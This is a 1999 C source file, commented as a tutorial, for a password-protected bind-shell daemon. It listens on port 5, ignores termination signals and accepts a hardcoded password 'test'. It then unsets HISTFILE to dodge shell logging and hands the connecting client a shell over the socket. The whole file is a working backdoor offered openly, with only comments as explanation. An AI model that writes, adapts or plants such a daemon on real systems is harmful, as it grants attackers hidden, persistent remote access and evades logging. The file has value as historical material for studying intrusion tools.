/* Vanilla shell daemon with passwort authentification
 * verbose explanation / sample of a shell daemon
 * members.xoom.com/i0wnu (c) 1999 by Mixter */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <signal.h>
int
main (int a, char **b)
{
  int c, d, e = sizeof (struct sockaddr_in), f;
// c will be our listening socket, d our new socket
  char p[20];
  struct sockaddr_in l, r;
  l.sin_family = AF_INET;	// we fill this with our local ip/port

  l.sin_port = htons (5);	// listen to port 5

  l.sin_addr.s_addr = INADDR_ANY;	// our IP (filled in by kernel)

  bzero (&(l.sin_zero), 8);
  c = socket (AF_INET, SOCK_STREAM, 0);		// listening socket

  signal (SIGCHLD, SIG_IGN);	// ignore signals, optional

  signal (SIGHUP, SIG_IGN);
  signal (SIGTERM, SIG_IGN);
  signal (SIGINT, SIG_IGN);
  bind (c, (struct sockaddr *) &l, sizeof (struct sockaddr));	// bind to port

  listen (c, 3);		// listen to port, maximum 3 active connections

  while ((d = accept (c, (struct sockaddr *) &r, &e)))
    // accept blocks and waits for a connection attempt
    // then assigns the client connection to socket d
    {
      if (!fork ())
	// if fork is 0, this is the child process and we
	// will process the clients input
	{
	  recv (d, p, 19, 0);	// wait for up to 19 chars from the client
	  // assign them to p (password variable)

	  for (f = 0; f < strlen (p); f++)	// this replaces trailing garbage

	    {
	      if (p[f] == '\n' || p[f] == '\r')
		p[f] = '\0';
	    }
	  if (strcmp (p, "test") != 0)	// if password isnt "test"

	    {
	      send (d, "\377\373\001", 4, 0);	// send an evil telnet cmd :)

	      close (d);	// wrong password - bye

	      exit (1);
	    }
	  close (0);		// we close the old stdin/out/err copied

	  close (1);		// by the fork() and create new ones

	  close (2);
	  dup2 (d, 0);		// these give us the new descriptors

	  dup2 (d, 1);		// we need them for user interaction

	  dup2 (d, 2);
	  setenv ("PATH", "/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.", 1);
	  unsetenv ("HISTFILE");
	  execlp ("w", "w", (char *) 0);
	  // set some environment stuff, display logged in users, optional
	  execlp ("sh", "sh", (char *) 0);	// execute the shell

	  close (d);
	  exit (0);
	}			// end of if(!fork()) loop (child process specific code)

    }				// end of while() loop

  return (0);
}
